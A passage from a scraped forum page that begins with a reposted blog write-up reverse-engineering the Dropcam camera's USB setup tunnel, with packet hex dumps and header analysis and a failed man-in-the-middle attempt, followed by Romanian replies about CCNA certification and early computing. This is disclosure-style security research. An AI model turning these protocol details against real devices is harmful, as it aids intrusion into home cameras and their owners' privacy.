can see that 1312768 is the byte-offset into the "disk" where the setup executable is reading and writing (3). Wireshark lets us see the actual data that is being transferred back and forth. Here's a screenshot of part of the USB capture: You can see that a SCSI Write command is being made to logical block address 0xa04, with length 4 (1). 0xa04 is 2564, which multiplied by the 512-byte block size is byte 1312768. The length 4 multiplied by 512 is 2048 bytes; this write corresponds to the highlighted WriteFile command in the Process Monitor screenshot. The data being written is shown in the hexdump (2) of the URB_BULK packet (3) following the SCSI Write command packet. What's happening is that the setup binary is communicating with the Dropcam by reading and writing network packets from and to a "magic" address on the USB mass storage "disk". By looking at multiple packets being sent over this USB channel and reading the setup binary in IDA, I was able to get an idea of the protocol. Above is a screenshot from the IDA Pro disassembly of the Macintosh setup binary (the Mac binary had more symbols and was easier to read than the Windows binary). The screenshot shows a portion of the code involved in decoding received packets. All the packets that I captured started with the magic big-endian number 0xd409ca11. I found this code by searching in IDA for that number. You can see that that number (1) is confirmed to be a magic number by an error message that is reached when the first 4 bytes are non-zero and don't equal 0xd409ca11 (2). In addition, bytes six and seven (3) appear to be a big-endian sequence number according to another error message (4), and bytes 8 and 9 (5) turn out to be a big-endian length field. Also, the remaining two bytes – 4 and 5 – appear to increment from -1 in packets with no payload from the setup binary to the Dropcam; it is presumed that these are acknowledgment packets. Here are some packets, extracted from my USB Wireshark capture: Init packet, setup -> dropcam: d4 09 ca 11 ff ff 00 00 00 05 00 ff ff 00 00 .............. Init response packet, dropcam -> setup: d4 09 ca 11 00 00 00 00 01 25 00 ff ff 01 08 64 .........%.....d 30 32 34 33 37 38 31 38 32 64 61 34 66 33 37 62 024378182da4f37b 30 65 39 38 31 39 34 36 39 38 39 66 34 30 61 00 0e981946989f40a. 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 8c 00 00 00 0f 02 00 01 00 13 01 bb 6e 65 ..............ne 78 75 73 2e 64 72 6f 70 63 61 6d 2e 63 6f 6d xus.dropcam.com Ack, setup -> dropcam d4 09 ca 11 ff ff 00 01 00 00 .......... Data, dropcam -> setup d4 09 ca 11 00 00 00 01 00 81 03 00 01 00 7c 16 ..............|. 03 01 00 77 01 00 00 73 03 01 4d e5 e3 9d c8 16 ...w...s..M..... 17 eb d7 4e 78 42 02 2e ef 7d 4b 14 d9 2b ad fe ...NxB...}K..+.. f2 e4 84 68 49 1f 0f fc 00 ab 00 00 06 c0 13 c0 ...hI........... 14 00 ff 01 00 00 44 00 0b 00 04 03 00 01 02 00 ......D......... 0a 00 34 00 32 00 01 00 02 00 03 00 04 00 05 00 ..4.2........... 06 00 07 00 08 00 09 00 0a 00 0b 00 0c 00 0d 00 ................ 0e 00 0f 00 10 00 11 00 12 00 13 00 14 00 15 00 ................ 16 00 17 00 18 00 19 00 23 00 00 ........#.. Ack, setup -> dropcam d4 09 ca 11 00 00 00 02 00 00 .......... Data, setup -> dropcam d4 09 ca 11 00 01 00 03 06 1b 03 00 01 06 16 16 ................ 03 01 06 11 02 00 00 4d 03 01 52 61 ba a6 7f 84 .......M..Ra.... 26 84 98 0d ed 96 f2 07 e2 90 30 9c 6d 21 9d 4f &.........0.m!.O fa 80 8f 91 3f 75 ba bd 01 d6 20 52 61 ba a6 7b ....?u.... Ra..{ f6 97 94 dc 02 28 3c 49 2c 2b c4 18 f8 8d df f3 .....(<I,+...... ac e9 de d3 06 fe bc ed 25 dd 7f c0 13 00 00 05 ........%....... ff 01 00 01 00 0b 00 03 0b 00 03 08 00 03 05 30 ...............0 82 03 01 30 82 01 e9 02 05 00 ed f7 59 0d 30 0d ...0........Y.0. 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 30 47 31 ..*.H........0G1 0b 30 09 06 03 55 04 06 13 02 55 53 31 26 30 24 .0...U....US1&0$ 06 03 55 04 03 13 1d 44 72 6f 70 63 61 6d 20 43 ..U....Dropcam C 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f ertificate Autho 72 69 74 79 31 10 30 0e 06 03 55 04 0a 13 07 44 rity1.0...U....D 72 6f 70 63 61 6d 30 22 18 0f 32 30 30 31 30 31 ropcam0"..200101 30 31 30 30 30 30 30 30 5a 18 0f 32 30 35 30 30 01000000Z..20500 31 30 31 30 30 30 30 30 30 5a 30 3e 31 0b 30 09 101000000Z0>1.0. 06 03 55 04 06 13 02 55 53 31 1d 30 1b 06 03 55 ..U....US1.0...U 04 03 13 14 6f 63 75 6c 75 73 37 34 2e 64 72 6f ....oculus74.dro 70 63 61 6d 2e 63 6f 6d 31 10 30 0e 06 03 55 04 pcam.com1.0...U. 0a 13 07 44 72 6f 70 63 61 6d 30 82 01 22 30 0d ...Dropcam0.."0. (etc.) The setup binary starts out by sending an initialization command to the Dropcam (command 00 ff ff 00 00). The Dropcam replies with a packet containing its UUID (so the setup binary knows where to point the web browser), and a host for the setup binary to initiate a TCP connection to (nexus.dropcam.com). After that, every packet contains a 5-byte sub-header (the first byte is 0x03, the last two bytes are a length field), followed by data. This same data was captured by my other Wireshark instance which was capturing a TCP connection made from the setup binary to nexus.dropcam.com via a TLSv1 connection. The Dropcam requests a TCP connection be made, and the setup binary tunnels all of that connection's traffic over the USB mass storage channel. So this is how the Dropcam connects to the internet: it appears as a USB mass storage device containing a setup executable to the host computer; the setup binary then tunnels a connection from the Dropcam over the USB link by reading and writing at a particular offset into the raw "disk" and connecting out to the internet using the host computer's internet connection. Meanwhile, the user is presented with a list of WiFi networks that the cloud server obtained over the tunneled connection. The user picks their network in the web interface, and types in their WiFi password. The selected network and password are then sent in a POST request to the cloud server, which pushes the password down to the camera, again over the tunneled connection. Considerations for WiFi password privacy Something that users should be aware of is that this approach requires users to upload their network password to the dropcam.com server, and it might not be clear to a non-technical user that they are doing this. Dropcam (the company) probably isn't doing anything directly with the transmitted WiFi encryption passwords, but there's no guarantee that an attacker who could compromise the Dropcam cloud servers wouldn't. It's always a good practice to avoid sending confidential data to the cloud instead of making the setup binary directly communicate the WiFi information to the camera, so we're not sure if there is some other product architecture reason to do this that we're not aware of. Further exploring the encrypted connections The Dropcam makes two outgoing TLS connections over the USB tunnel. The first is to nexus.dropcam.com; that connection directs the camera to connect to an “oculus” server; my Dropcam connected to oculus101.dropcam.com. The camera itself makes the same two TLS connections over WiFi once it is configured; a short connection to nexus.dropcam.com followed by a long-term connection to an “oculus” server. The long-term connection is used for all of the camera's communications including streaming video, configuration changes, and firmware updates. After understanding how the Dropcam tunnels its TLS connections out over the mass storage interface, the next step was to attempt a man-in-the-middle attack on the TLS connections in order to capture their contents. However, the TLS connections utilize both client and server side certificate verification - when making the outgoing TLS connections, the Dropcam checks the server's certificate, and the server also checks the Dropcam's client certificate. Since the TLS connection endpoint is on the camera itself (not in the setup binary), I wasn't able to inspect the contents of the TLS connection until after I'd taken the Dropcam apart, which I'll describe in our next Dropcam blog post. Source
    1 point
  8. Litera P nu sta locului...gresesc?
    1 point
  9. Bai nustiu de voi...dar eu am facut primele 3 nivele din ccna...acum fac 4 si am fost la cateva interviuri pana sa aleg unde ma angajez. Toti imi spuneau asa "Care sunt pretentiile financiare avand in vedere ca sunteti certificat Cisco ?" Adica ba...conteaza...nici nu-i intereseaza daca ai 4 clase....daca vad ca ai ccna-uri sau alte cursuri de genul... Sau deh poate asa am intalnit eu... Deci conteaza...daca mai ai si experienta in retealistica sau user support sau ceva pe linux....te-ai scos. Pentru mine conteaza mult..de aia fac si 4 acum. Acum sincer....poti invata multe la cursuri...insa e multa materie...mergi la ele..mai mult ca sa ai diplomele si ceva cunostinte medii...insa cand lucrezi te bati cu alte probleme....despre care nici n-ai discutat la cursuri. Hartia conteaza!
    1 point
  10. Eu chiar ma gandeam sa-mi fac CCNA-ul, doar pentru placerea mea, chiar daca momentan lucrez ca programator, dar din ce am citit pe aici, nu prea ma incurajeaza.
    1 point
  11. Nu da banii pe cursuri.Cea mai mare prostie pe care o poti face.Iti zic asta pentru ca aceste cursuri le poti face singur acasa.Pentru laboratoare exista packet tracer sau gns3. Nu vreau sa te dezamagesc dar usi multe nu ti se vor deschide.Eu am ccna si ccnp si 11 ani experienta in domeniu telecom si usi multe nu mi s-au deschis.La noi in tara se vrea sa stii cat mai multe dar pe bani putini.Daca le ceri salariu la nivel de cunostinte, nu te mai suna a doua oara.Oricum ia-ti certificarile."Cantaresc" la cv si vei fi sunat dar nu te astepta sa fii si angajat.Depinde de noroc.Cel mai bine poti incerca afara...La noi HR-ul e praf si pulbere(Spiru Haret, Bioterra).
    1 point
  12. @em: Daca ?tii deja re?elistic? este foarte bine dac? mergi ?i dai doar examenul. Un CCNA î?i deschide u?ile la interviu mult mai u?or ?i vei primi întreb?ri mai interesante, c? nu te vor verific? de-aiurea.
    1 point
  13. prin 96 am vazut la un var un hc90 si ma impresionat asa ca am strans si eu bani si mi-am cumparat cateva luni mai tarziu... pe el am inceptu normal cu jocuri, ulterior m-am jucat cu basic singurul limbaj de pe el... dupa aia am trecut constant la hc2000 (unde m-am bagat pe limbajul cpm si am creat primul virus pentru el, era simplist, doar iti distrugea disketele dupa ce se multiplica) ulterior au aparut 286 si 386 (din primul 386sx am reusit sa scot fum la propriu tot umbland prin el) apoi pe la 486 m-am bagat pe turbo pascal si am facut pentru un client o alarma de casa monitorizata prin portul paralel (ii aparea pe ecran shema casei si erau la ferestre si usi niste micro-intrerupatoare care odata deschise clipea zona respectiva pe ecran la pc) ulterior a inceput nebunia cu 586/pentium si de acolo am pierdut sirul, nu mai stiu ce pc-uri mi-au trecut prin mana... pe cand aveam 486 am avut ocazia sa intru la o firma ca tehnician service it unde acolo mi-am completat cunostiintele (pe parte de networking/retelistica/vanzari/service/administrare windows server) si ulterior la alta firma mai mult de plictiseala (lucram efectiv 4 ore din 8 la firma aia, de fapt cand suna telefonul si un client vroia service sau ceva, atunci aveam si noi de lucru in rest o cam frecam) cum zicam, la firma asta de plictiseala am inceput sa invat php si limbaje server side (html si restul le stiam de prin 99 cand imi lansasem primul site prin dialup, ce nebunie era atunci cu romtelecom si orele de net) dupa aia am oscilat la angajari, ba ca tehnician/admin ba ca programator web... personal imi place mai mult ca tehnician/noc/admin decat programator, dar na, ca programator castig mai bine. de cativa ani am dato si pe arduino, nu pot sa zic ca stiu sa scriu cod la perfectie pentru el dar ma descurc, problema e ca pentru un proiect cat de cat interesant (exemplu proiect cu rfid - cartele de tramvai) costul pieselor si timpul de implementare creste destul de mult.
    1 point
  14. Eu am facut si CCENT si CCNA. Acum depinde. Daca tinzi catre un post de programator, nu are rost. Daca vrei sa te duci pe partea de retelistica, sunt foarte bune. Mai sunt bune si cele de la CompTIA. Eu fac acum A+, dar nu este cu foarte mult diferit de CCNA. Depinde de unde esti. La mine la facultate costa 300 de lei modulul la Cisco.
    1 point
  15. Si de cand pana cand este tabu cu ce ne ocupam noi? Furam din banca sau ceva? ON: Odata cu liceul.
    1 point
  16. Romanii mananca mici si costitza la gratar.
    1 point
  17. Daca va era dor de jocurile copilariei noastre, na de poftiti. Have fun.
    1 point
  18. Bai eu de o luna o duc ca un boss:). am abnament de 50 Mbit si dau 30 de lei si mai stau si la tara. Vad ca omu care pornit topicu spune ca nu ma incatrez intre cei ce ar trebui sa dea reply. dar astea is vitezele mele... @DaLykes chiar nu stiam ca au fost scoase, plm, eu nu imi aduc aminte sa fi semnat o reinoire a contractului sau ceva.. sau macar sa fi sunat aia de la rds
    1 point
  19. 1 point
  20. http://www.youtube.com/watch?v=Lfoi1jvToH8
    1 point
  21. Invitatie filelist.ro Free. PM pentru cine doreste cu adresa de mail.
    -1 points
×
×
  • Create New...